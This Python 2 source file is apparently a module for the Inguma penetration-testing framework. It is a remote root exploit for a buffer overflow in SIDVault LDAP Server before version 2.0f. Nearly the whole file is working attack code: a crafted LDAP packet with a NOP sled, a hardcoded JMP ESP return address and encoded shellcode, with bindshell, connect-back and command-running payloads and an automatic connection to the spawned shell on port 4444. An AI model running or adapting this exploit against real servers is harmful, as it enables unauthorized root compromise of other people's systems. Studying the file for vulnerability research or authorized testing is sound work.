#!/usr/bin/env python2

"""
Alpha Centauri Software SIDVault LDAP Server remote root exploit for Inguma
Copyright (c) 2007 Joxean Koret <joxeankoret@yahoo.es>

License is GPL
"""

import sys
import time
import socket

from lib.libexploit import CIngumaModule, getShellcode, spawnTerminal,  bindShell, x86AlphaEncode

name = "sidvault"
brief_description = "SIDVault LDAP Server remote buffer overflow"
type = "exploit"
affects = ["SIDVault LDAP Server prior to version 2.f"]
description = """
Exploit for a remotely exploitable buffer overflow in SIDVault LDAP Server which
spawns a root terminal at port 4444 in remote server.

*Currently* only Debian targets.

Usage:

ostype = <_numeric_ os type>
payload = <numeric payload>
listenPort = <listening port> (Default to 4444)

Os Types:

1: Linuxx86Syscall
2: FreeBSDx86Syscall
3: OpenBSDx86Syscall
4: Solarisx86Syscall

Payloads:

payload:

1) runcommand
2) bindshell
3) connectback
4) xorbindshell

Payload arguments:

1) runcommand

command = <command to run>

2) bindshell, connectback, xorbindshell

listenPort = <remote or local listening port>

NOTE: "listenPort" will be the local port to connect back or the remote port to connect.
"""

patch = "Fixed in version 2.0f"
category = "exploit"
discoverer = "Joxean Koret"
author = "Joxean Koret <joxeankoret@yahoo.es>"

globals = ["ostype", "payload", "listenPort", "command"]

class CSidVault(CIngumaModule):
    target = ""
    port = 389
    waitTime = 0
    timeout = 1
    exploitType = 1
    services = {}
    results = {}
    dict = None
    interactive = True
    command = ""
    listenPort = 4444
    ostype = 1
    payload = "bindshell"

    def run(self):
        if self.target == "" or self.target is None:
            self.target = "localhost"
        
        if self.port == 0 or self.port is None:
            self.port = 389
        
        if self.ostype < 1:
            print "[+] No OS selected. Using Linux (ostype = 1)"
            self.ostype = 1
        
        if self.payload < 1:
            print "[+] No payload selected. Using 'bindshell' (payload = 2)"
            self.payload = 2
        
        if self.listenPort == 0:
            print "[+] No listen port selected, using 4444"
            self.listenPort = 4444

        adjustSize = 243
        sc = getShellcode("0.0.0.0", self.listenPort, self.ostype, self.payload)
        sc = x86AlphaEncode(sc)
        sc = "\x90"*(adjustSize-len(sc)) + sc

        #
        # The address we will use is 0xffffe777 (JMP ESP in Debian's linux-gate.so)
        #
        addr = "\x77\xe7\xff\xff"
        theLine = '\x90'*2076 + addr+ '\x90'*(2019-len(sc)) + sc

        pkt  = '0\x82\x10/\x02\x01\x01c\x82\x10(\x04\x82\x10\x06dc='
        pkt += theLine
        pkt += '\n\x01\x02\n\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\x87\x0bobjectClass0\x00'

        socket.setdefaulttimeout(self.timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self.target, self.port))
        s.send(pkt)
        s.close()

        print "[+] Exploit sended. Connecting to port", self.listenPort
        time.sleep(3)
        spawnTerminal("localhost", self.listenPort)

        return True

    def printSummary(self):
        pass
